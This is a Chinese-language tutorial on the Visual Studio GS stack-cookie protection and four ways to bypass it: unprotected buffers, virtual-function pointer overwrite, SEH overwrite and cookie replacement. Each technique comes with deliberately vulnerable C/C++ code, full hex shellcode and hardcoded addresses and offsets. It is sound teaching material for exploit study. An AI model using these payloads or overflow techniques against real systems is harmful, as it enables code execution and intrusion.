GS安全编译选项的保护原理
GS针对的是缓冲区溢出时覆盖函数函数返回地址这一特征。
VS2003及以后版本默认启用该选项
GS为了检测栈溢出,为每个函数调用增加了额外的数据和操作:
- 在所有函数调用发生时,向栈内压入一个额外的随机DWORD,被称作“canary”,这里记为“Security Cookie”
- Security Cookie位于EBP之前,系统还将在.data的内存区域中存放一个Security Cookie的副本
- 当栈中发生溢出时,Security Cookie先被淹没,然后才是EBP和返回地址
- 在函数返回前,系统将执行额外的安全验证操作,称为Security Check
- 在Security Check过程中,将比较栈中的Security Cookie与.data中的是否相同
- 当检测到栈中发生溢出,将进入异常处理流程
GS不会应用的情况:
- 函数不包含缓冲区
- 函数被定义为具有变量参数列表
- 函数使用无保护关键字标识
- 函数在第一个语句中包含嵌入的内嵌汇编代码
- 缓冲区不是8字节类型且大小不大于4字节
注:VS2015后引入了#pragma strict_gs_check
可以为任意类型的函数添加Security Cookie
除了添加Security Cookie外,在VS2015后还使用了变量重排技术,会根据局部变量的类型对变量在栈帧中的位置进行调整,将字符串变量移动到栈帧高地址,防止其溢出影响其他局部变量。同时还将指针参数和字符串参数复制到内存低地址,防止函数参数被破坏。
GS的相关细节:
- 系统以.data的第一个双字节作为Cookie的种子,或称原始Cookie
- 在程序每次运行时Cookie的种子都不同
- 在栈帧初始化以后,系统用ESP异或种子,作为当前函数的Cookie
- 在函数返回前,用ESP还原Cookie的种子
注:本章实验均禁用优化选项。
利用未被保护的内存突破GS
示例代码(VS 2008):
#include <stdio.h>
#include <string.h>
#include <tchar.h>
int vulfunction(char * str){
char arry[4]; //缓冲区不为8字节类型,且大小不超过4字节,默认是不开启GS的
strcpy(arry,str);
return 1;
}
int _tmain(int argc, _TCHAR* argv[]){
char* str="yeath, the function is without GS"; //字符个数远超4个
vulfunction(str);
return 0;
}
覆盖虚函数突破GS
程序只有返回时,才会检查Security Cookie,在这之前没有进行任何检查措施。
C++的虚函数为我们提供了可能,示例代码:
#include "string.h"
class GSVirtual {
public :
void gsv(char * src)
{
char buf[200];
strcpy(buf, src); //存在溢出漏洞,可能影响到虚表指针
bar(); //调用虚函数
}
virtual void bar() //虚函数
{
}
};
int main()
{
GSVirtual test;
test.gsv(
"\x04\x2b\x99\x7C" //“pop pop ret”的地址
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
);
return 0;
}
先尝试传入199个\x90
和1个\0
,确定内存中变量与虚函数表的位置:
可以看到相差20个字节,随后程序面临虚函数的执行:
原始参数(402100)已经不用考虑,因为不在栈中。Buff存放在0012FE9C
,位于ESP+4
的位置,采用pop pop retn
指令序列后就可跳转0012FE8C
处执行。
原因:因为call eax
后,会将返回地址入栈,多POP
一次保证ret
时栈顶为0012FE9C
,需要找到内存中的pop edi pop esi ret
指令。
攻击异常处理突破GS
GS机制并没有对S.E.H提供保护,因此可以通过攻击程序的异常处理绕过GS。
流程:
- 首先覆盖掉异常处理函数指针
- 然后触发一个异常
示例代码:
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA0\xFE\x12\x00" //shellcode所在的地址
;
void test(char * input)
{
char buf[200];
strcpy(buf,input);
strcat(buf,input); //将input追加到buf后面,由于strcpy的溢出导致strcat会从非法地址读取数据从而引发异常
}
void main()
{
test(shellcode);
}
首先将shellcode填充为不会异常的0x90
,查看运行情况:
shellcode起始地址到最近的S.E.H的距离为:272个字节,所以在其中写入shellcode,并在272~276使用0x12FEA0
填充。
同时替换栈中和.data中的Cookies突破GS
示例代码:
#include <string.h>
#include <stdlib.h>
char shellcode[]=
"\x90\x90\x90\x90" //在.data中设置新的cookie
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90" //异或EBP与\x90\x90\x90\x90的结果,先进行验证
"\x90\x90\x90\x90" //覆盖EBP
"\x94\xFE\x12\x00" //shellcode的地址覆盖返回地址
;
void test(char * str, int i, char * src)
{
char dest[200];
if(i<0x9995) //对str+i到str+i+3进行赋值
{
char * buf=str+i;
*buf=*src;
*(buf+1)=*(src+1);
*(buf+2)=*(src+2);
*(buf+3)=*(src+3);
strcpy(dest,src);
}
}
void main()
{
char * str=(char *)malloc(0x10000); //申请了0x10000个字节的空间
test(str,0xFFFF2FB8,shellcode);
}
先将shellcode赋值为8个0x90
,查看Security Cookie的生成过程:
校验过程则相反,我们申请的malloc空间为:
malloc的地址为00410048
,.data中cookie的地址为00403000
,相较而言,malloc处于高地址,因此需要向低地址移动,应移动53320个字节,所以设置为0xFFFF2FB8
(-53320)。
参考文献
《0day安全:软件漏洞分析技术》